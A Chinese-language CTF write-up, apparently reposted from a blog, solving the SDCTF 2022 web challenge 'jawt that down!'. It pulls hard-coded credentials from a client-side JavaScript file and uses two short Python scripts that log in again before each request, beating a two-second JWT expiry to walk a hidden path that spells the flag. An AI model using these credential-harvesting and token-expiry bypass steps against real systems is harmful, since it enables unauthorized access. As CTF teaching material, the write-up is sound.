[SDCTF 2022]jawt that down!

发布时间:2024年01月03日

[SDCTF 2022]jawt that down!

打开题目,存在登录框

在这里插入图片描述

初步测试发现并不存在sql注入漏洞,只好扫一下目录发现有/js的路径

我们进一步扫描

在这里插入图片描述

访问/js/login.js看一下,搜索得到用户名和密码

AzureDiamond
hunter2

在这里插入图片描述

登陆成功后发现有个N

在这里插入图片描述

点进去提示token错误

在这里插入图片描述

我们将cookie中的值解密一下,发现验证失败

在这里插入图片描述

通过查询json参数可以知道

这个JSON对象表示一个用户的身份验证信息,包含以下参数:

  • "username":表示用户名,这里是 “AzureDiamond”。
  • "token":表示令牌(token),这里是 “5086a09b2dc4f4bfd9295f942428c63b”。令牌通常用于身份验证和授权,可以用于标识用户或应用程序的身份。
  • "iat":表示令牌的发行时间(issued at),这里是 1704255578。它是一个UNIX时间戳,表示令牌生成的时间,以秒为单位。
  • "exp":表示令牌的过期时间(expiration time),这里是 1704255580。它也是一个UNIX时间戳,表示令牌的有效时间截至的时间点,以秒为单位。

说明令牌有效时间只有两秒,我们可以尝试写脚本来实现绕过令牌过期

import requests

sess = requests.Session()  #创建session会话对象
url = "http://node5.anna.nssctf.cn:28195/"

def login():
	sess.post(url + "login", data={"username":"AzureDiamond", "password":"hunter2"})
	
login()
resp = sess.get(url + "N")
print(resp.text)

运行脚本后回显S,当我们修改为访问/S时却回显404

而修改为/N/S时成功回显S,那么不妨大胆猜测下通过迭代的路径就是flag,比如/N/S/S/C/T/F/{/.../}

import requests

sess = requests.session()
URL = 'http://node5.anna.nssctf.cn:28611'
flag = '/N/'
while True:
    data = {"username":"AzureDiamond","password":"hunter2"}
    r = sess.post(URL+'/login',data=data)
    print(flag)
    r1 = sess.get(f'{URL}{flag}')
    flag += r1.text + '/'
    if '}' in flag:
        break
print(flag.replace('/',''))

运行得到flag

在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135363483
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。